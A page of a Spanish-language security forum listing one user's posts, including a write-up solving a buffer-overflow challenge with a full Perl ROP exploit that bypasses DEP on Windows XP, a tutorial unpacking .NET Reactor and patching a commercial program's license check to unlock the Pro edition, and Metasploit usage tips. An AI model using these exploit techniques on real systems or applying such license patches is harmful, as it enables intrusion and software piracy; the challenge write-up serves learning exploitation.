elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Como proteger una cartera - billetera de Bitcoin


  Mostrar Mensajes
Páginas: 1 ... 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 [36] 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 ... 313
351  Seguridad Informática / Bugs y Exploits / Re: Solución Server Vuln de harry_the_blogger en: 20 Enero 2015, 19:56 pm
Excelente idea, inclusive podría obtener el sistema operativo con nmap y con ello ver que cadena de ROP usar.

Lo de un nuevo post es para que no se pierda ya que si te percatas estos temas son poco usuales (quizás incentive a algún usuario).

Saludos y gracias por los consejos :D
352  Seguridad Informática / Bugs y Exploits / Re: El compiler pareciera agregar algo entre variables de la stack desviando return en: 19 Enero 2015, 17:33 pm
http://foro.elhacker.net/bugs_y_exploits/solucion_server_vuln_de_harrytheblogger-t428358.0.html
353  Seguridad Informática / Bugs y Exploits / Solución Server Vuln de harry_the_blogger en: 19 Enero 2015, 17:31 pm
Solución Server Vuln de harry_the_blogger

Problema:
- Se debe lograr ejecutar dos funciones ocultas ubicadas en un ejecutable vulnerable a stack buffer overflow (desbordamiento de pila), por lo menos eso es lo que alude el ejecutable, harry_the_blogger no mencionó el objetivo del juego  :huh:.

Solución:
La idea principal es lograr modificar PC (program counter) que en este caso (arquitectura) es lo que apunta el registro EIP, para ello la composición del exploit sería el siguiente:
Código:
- Basura ("A").
- Salto al stack (JMP ESP/PUSH ESP/RETN).
- Address función oculta 1 (0x40105E).
- Address función oculta 2 (0x401036).

[BASURA][SALTO AL STACK][ADDRESS FUNCION_OCULTA_1][RETORNO][ADDRESS FUNCION_OCULTA_2]

Esto se podría realizar, pero el problema que tendríamos principalmente serían las direcciones de las funciones ocultas ya que estas contienen bytes nulos (null bytes), lo cual nos "cortaría" el flujo de nuestro exploit, para ello tenemos como solución lo siguiente:
Código:
- Basura ("A").
- Salto al stack (JMP ESP/PUSH ESP/RETN).
#----INICIO---Ejecución de código dentro del stack
- Mover las direcciones modificadas de las funciones ocultas a los registros (EJ: 0x401036 + 0x11111111h)
- Restar/sumar a las direcciones la modificación para que queden con su valor original.
- CALL Dirección oculta 1
- Call Dirección oculta 2
#----FIN -----Ejecución de código dentro del stack

Pero pfff y que ocurre con DEP ?  >:( Si usáramos esta solución, el sistema no nos permitiría la ejecución de código en el stack (mecanismo de protección).

Solución final:
Como solución propuesta, se me ocurrió utilizar cadenas ROP lo cual nos permitirá ejecutar código del mismo ejecutable y módulos cargados, el cual terminará llamando a las dos funciones ocultas y evitando la protección DEP:

Código
  1. # Operating system = Microsoft Windows XP Profesional Versión 2002 Service Pack 2
  2. # Language         = Spanish
  3. # Required DLL     = kernel32.dll | RPCRT4.dll
  4. # Author           = UND3R
  5.  
  6. use strict;
  7. use Socket;
  8. my $junk = "\x41" x 64;
  9. my $eip = pack('V', 0x7c87f30e); # kernel32.dll | POP EAX;POP EBP;RETN
  10. my $hidden_two = pack('V', 0x373e47db); # 0x40105E - 0xC901C883 = 0x373E47DB
  11. my $hidden_one = pack('V', 0x373e47b3); # 0x401036 - 0xC901C883 = 0x373E47B3
  12. my $rop1 = pack('V', 0x7c80ad03); # kernel32.dll | ADD EAX,0xC901C883;RETN
  13. my $rop2 = pack('V', 0x7c80b0eb); # kernel32.dll | XCHG EAX,EBP
  14. my $rop3 = pack('V', 0x7c80ad03); # kernel32.dll | ADD EAX,0xC901C883;RETN
  15. my $rop4 = pack('V', 0x77e61acc); # RPCRT4.dll | CALL EAX;RETN
  16. my $rop5 = pack('V', 0x7c80b0eb); # kernel32.dll | XCHG EAX,EBP
  17. my $rop6 = pack('V', 0x77e61acc); # RPCRT4.dll | CALL EAX;RETN
  18.  
  19. my $exploit = $junk . $eip . $hidden_two . $hidden_one . $rop1 . $rop2 . $rop3 . $rop4 . $rop5 . $rop6;
  20.  
  21. # initialize host and port
  22. my $host = shift || 'localhost';
  23. my $port = shift || 6666;
  24.  
  25. my $proto = getprotobyname('tcp');
  26.  
  27. # get the port address
  28. my $iaddr = inet_aton($host);
  29. my $paddr = sockaddr_in($port, $iaddr);
  30.  
  31. print "[+] Setting up socket\n";
  32. # create the socket, connect to the port
  33. socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
  34. print "[+] Connecting to $host on port $port\n";
  35. connect(SOCKET, $paddr) or die "connect: $!";
  36.  
  37. print "[+] Sending payload (size = " . length($exploit) . ") \n";
  38. print SOCKET $exploit."\n";
  39.  
  40. print "[+] Payload sent\n";
  41. close SOCKET or die "close: $!";

- ¿Es standard?
Lamentablemente no ya que utiliza dos DLL cargadas por el sistema (las mencioné en el exploit). No lo pude hacer standard/genérico ya que al ser un ejecutable muy sencillo y no contar con sus propias DLL se me fue imposible encontrar cadenas ROP dentro de él y tuve que buscar DLLs del sistema.

- Saludos y agradecimientos
harry_the_blogger genial amigo que manera de programa muy linda y nada mejor que postees este tipo de retos en el foro lo cual a mi criterio simplemente aporta conocimiento :D y a Don Videla que ya nos veremos.


Aquí una imagen de la ejecución del exploit, por cierto DEP arrancó pero luego de haber ejecutado las funciones ocultas (seguramente por el desbordamiento ocasionado):


PD: Voy en un bus viajando así que perdona si no me pude explicar bien, si tienes alguna duda, con gusto te respondo :D
354  Programación / Ingeniería Inversa / Re: Problema Leccion 21 -Cracking con OllyDBG en: 18 Enero 2015, 18:09 pm
Si mal no recuerde ese crackme no poseía ningún tipo de protección, si no es el caso has usado algún plugins como OllyAdvanced para bypassear la protecciones o algo loco pero válido, lo has intentado correr sin el depurador?

Saludos
355  Programación / Ingeniería Inversa / Re: [Tutorial]Unpack .NET Reactor + Crack en: 17 Enero 2015, 22:43 pm
Muy bueno .:UND3R:. !

Gracias por compartir!

Saludos!

PD: Voy a ser un poco malo y te voy a pedir una cosa: que lo pases a pdf y lo mandes a CLS (así queda disponible, por si vuelan las imagenes de los hostings.)  :P

Tendré que cumplir :/ jajaja llegando del viaje lo subo, gracias, saludos y abrazos :)

PD: el hosting es i.elhacker.net pero tienes razón, no está demás prevenir así que se va a CLS
356  Programación / Ingeniería Inversa / Re: [Tutorial]Unpack .NET Reactor + Crack en: 17 Enero 2015, 16:17 pm
No es para tanto, flamer me motivó, saludos
357  Programación / Ingeniería Inversa / [Tutorial]Unpack .NET Reactor + Crack en: 17 Enero 2015, 07:46 am
Unpack .NET Reactor + Crack
Iniciamos la aplicación y vemos la siguiente nag:


Si revisamos con RDG Packer detector en busca de información del ejecutable, obtenemos los siguiente:


por lo cual debemos enfrentarnos al packer para luego intentar crackear la aplicación, para desempaquetar .NET Reactor utilizaremos de4dot:


Intentamos localizar algún método sospechoso y encontramos "checkLic" el cual retorna true si existe licencia o false en caso contrario. Sabiendo eso buscamos en que lugar es usado el método y obtenemos lo siguiente:

MainFrm_Load()

Código
  1. }
  2.       if (Class9.checkLic())
  3.       {
  4.           if (Operators.CompareString(Class9.string_3, "Basic Edition", false) == 0)
  5.           {
  6.               this.opt_MusicDuplicates.Enabled = false;
  7.               this.opt_PatternDuplicates.Enabled = false;
  8.               this.opt_MusicDuplicates.Values.ExtraText = "Not Available In Basic Edition";
  9.               this.opt_PatternDuplicates.Values.ExtraText = "Not Available In Basic Edition";
  10.               this.m_Activate.Text = "Activate Upgrade";
  11.               this.m_BuyNow.Text = "Upgrade to Pro Edition";
  12.           }
  13.           else
  14.           {
  15.               this.m_Activate.Visible = false;
  16.               this.m_BuyNow.Visible = false;
  17.           }
  18.  

Por lo cual si el método checkLic retornará siempre true gracias a la composición de las condiciones activaríamos el software en la versión Pro Edition. Ahora si modificamos checkLic (en realidad si realizamos cualquier modificación con SAE o Reflexil) obtenemos el siguiente mensaje de error:



Por lo cual me vi obligado a modificar los op code de forma manual (editor hexadecimal), para ello con IDA localicé el offset del método checkLic y me arrojó que era: 0x21DC8 tras dirigirme al inicio del método, este debía retornar siempre true:

Código:
MSIL
L_004C516E:   ldc.i4.1 (OP CODES = 17)
L_004C516F:   ret (OP CODES = 2A)

por lo que en resumen si modificamos los primeros dos bytes del offset 0x21DC8 por 0x17 0x2A (172A) con un editor hexadecimal y guardamos los cambios, al iniciar el ejecutable obtendremos lo siguiente:
358  Seguridad Informática / Bugs y Exploits / Re: El compiler pareciera agregar algo entre variables de la stack desviando return en: 16 Enero 2015, 16:46 pm
logré explotarlo (de forma temporal sin anti DEP) ya que lo compilé con gcc para Windows pero cada compilador y dependiendo de su configuración de parámetros compila de forma diferente, por lo cual mi exploit es funcional en mi vulnerable.c compilado.

¿Podrías subirlo a Mega, mediafiare u otro uploader?

Saludos
359  Seguridad Informática / Bugs y Exploits / Re: Como puedo añadir un exploit a metasploit. en: 16 Enero 2015, 16:44 pm
Antes que todo debes saber si el exploit es un módulo válido para metasploit, si es así debes ubicarte en la carpeta de instalación de metasploit, creo que es root/.msf4/
e introducirlo en su respectiva categoría EJ:

root/.msf4/exploit/windows/misexploit/elexploit.rb

miexploit es el nombre de una carpeta sugerida, pero puede ser cualquiera. y para llamarlo

use exploit/windows/miexploit/elexploit

show options para ver las opciones

set para establecerlas y exploit para lanzarlo

PD: si es un auxiliar debes usar RUN en vez de exploit

saludos
360  Seguridad Informática / Bugs y Exploits / Re: El compiler pareciera agregar algo entre variables de la stack desviando return en: 14 Enero 2015, 00:43 am
Gh057:

No sabrás alguna forma de hacer funcionar la shellcode?? Estoy trabajando en esto y me parece dificil. Ah, y en serio bloquean desde gogle??? Es un archivo que no está listado en internet, solo accesible por links.

No creo que cause algun problema, bueno, si alguna cosa más tarde lo actualizaré y subiré a Mega. Gracias por la advertencia. Puede el moderador bloquearlo?? Alguien me lo pidió.

Podrías subirlo a Mega no te aseguro nada pero quiero tener el ejecutable vulnerable compilado como lo tienes tú, quiero ver que puedo hacer (estoy muy oxidado en esta área y quiero retomar)

Saludos
Páginas: 1 ... 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 [36] 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 ... 313
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines